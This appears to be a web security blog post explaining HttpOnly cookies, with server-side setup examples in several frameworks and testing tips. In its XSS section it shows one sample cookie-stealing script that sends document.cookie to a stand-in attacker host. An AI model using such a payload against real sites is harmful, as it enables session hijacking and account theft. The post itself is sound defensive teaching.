Introduction
In the world of web security, cookies are both essential and vulnerable. They store sensitive information like session tokens and authentication data, making them prime targets for attackers. Enter HttpOnly cookies — a simple yet powerful security flag that can dramatically reduce your application's attack surface.
In this post, we'll explore what HttpOnly cookies are, why they matter, and how to implement them effectively in your applications.
What Are HttpOnly Cookies?
An HttpOnly cookie is a cookie with a special flag that prevents client-side scripts from accessing it. When you set the HttpOnly attribute on a cookie, it becomes invisible to JavaScript's document.cookie API.
Regular Cookie:
document.cookie = "sessionId=abc123; path=/";
// Can be accessed via document.cookie ⚠️HttpOnly Cookie (set server-side):
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// Cannot be accessed via document.cookie ✅The Problem: XSS Attacks and Cookie Theft
Cross-Site Scripting (XSS) attacks are one of the most common web vulnerabilities. Attackers inject malicious scripts into your website that can:
- Steal authentication tokens
- Hijack user sessions
- Perform actions on behalf of users
- Exfiltrate sensitive data
Example of Cookie Theft via XSS:
// Malicious script injected by attacker
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>If your session cookie isn't HttpOnly, this simple script can steal it and send it to the attacker's server.
How HttpOnly Cookies Protect Your Application
HttpOnly cookies create a barrier between your sensitive cookies and potentially malicious JavaScript code. Here's what happens:
Without HttpOnly:
- Attacker injects XSS payload
- Script accesses
document.cookie - Session token is stolen
- Attacker impersonates the user
With HttpOnly:
- Attacker injects XSS payload
- Script tries to access
document.cookie - HttpOnly cookie is not included in the result
- Session token remains safe 🛡️
Implementation Guide
Node.js with Express
const express = require('express');
const session = require('express-session');
const app = express();
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true, // Prevents JavaScript access
secure: true, // Only sent over HTTPS
sameSite: 'strict', // Prevents CSRF
maxAge: 3600000 // 1 hour
}
}));
// Or set cookies manually
app.get('/login', (req, res) => {
res.cookie('token', 'jwt-token-here', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
res.send('Logged in');
});Python with Flask
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login')
def login():
response = make_response('Logged in')
response.set_cookie(
'session_token',
'secure-token-here',
httponly=True,
secure=True,
samesite='Strict',
max_age=3600
)
return responsePHP
<?php
setcookie(
'session_id',
'secure-session-id',
[
'httponly' => true,
'secure' => true,
'samesite' => 'Strict',
'expires' => time() + 3600
]
);
?>Java with Spring Boot
@GetMapping("/login")
public ResponseEntity<String> login(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionToken", "secure-token");
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setPath("/");
cookie.setMaxAge(3600);
response.addCookie(cookie);
return ResponseEntity.ok("Logged in");
}Best Practices: The Security Trifecta
HttpOnly cookies work best when combined with other security flags:
1. HttpOnly — Prevents JavaScript access
Set-Cookie: token=value; HttpOnly2. Secure — Only sent over HTTPS
Set-Cookie: token=value; HttpOnly; Secure3. SameSite — Prevents CSRF attacks
Set-Cookie: token=value; HttpOnly; Secure; SameSite=StrictComplete Example:
Set-Cookie: sessionId=abc123xyz;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=3600Common Misconceptions
❌ "HttpOnly cookies prevent all XSS attacks"
Reality: HttpOnly cookies only protect the cookie itself. XSS can still manipulate the DOM, steal other data, or perform actions as the logged-in user.
❌ "I can't use HttpOnly cookies with JWT tokens"
Reality: You absolutely can and should! Store JWTs in HttpOnly cookies and send them automatically with requests. The server can validate them without exposing them to JavaScript.
❌ "HttpOnly cookies break my SPA"
Reality: SPAs work fine with HttpOnly cookies. The browser automatically includes them in requests to your API.
Testing Your Implementation
Check if HttpOnly is Set:
Browser DevTools:
- Open DevTools (F12)
- Go to Application/Storage tab
- Click on Cookies
- Look for the HttpOnly checkbox ✓
Programmatic Test:
// This should NOT show your HttpOnly cookies
console.log(document.cookie);
// HttpOnly cookies are still sent with requests
fetch('/api/protected-endpoint', {
credentials: 'include'
});Security Headers Check:
curl -I https://yoursite.com/login
# Look for: Set-Cookie: ...HttpOnly...Real-World Impact
Major security breaches have occurred due to missing HttpOnly flags:
- Session hijacking attacks where stolen cookies gave attackers complete account access
- Credential theft from banking and e-commerce sites
- Account takeovers in social media platforms
According to OWASP, proper cookie security (including HttpOnly) is a fundamental requirement for preventing authentication vulnerabilities.
When NOT to Use HttpOnly
There are rare cases where you might need JavaScript access to cookies:
- Analytics cookies that need client-side processing
- Preference cookies for theme/language that JavaScript needs to read
- Non-sensitive tracking cookies
Rule of thumb: Any cookie containing authentication data, session identifiers, or personal information should ALWAYS be HttpOnly.
Conclusion
HttpOnly cookies are a simple but crucial security feature that every web developer should implement. They provide a strong defense layer against XSS-based cookie theft with minimal implementation effort.
Key Takeaways:
- Always use HttpOnly for session tokens and authentication cookies
- Combine HttpOnly with Secure and SameSite flags
- Test your implementation using browser DevTools
- Remember: HttpOnly protects cookies, not the entire application
The next time you're setting up authentication in your application, make HttpOnly cookies your default choice. Your users' security depends on it.
Further Reading:
What's your experience with HttpOnly cookies? Share your thoughts in the comments below!
Stay secure, stay vigilant! 🔐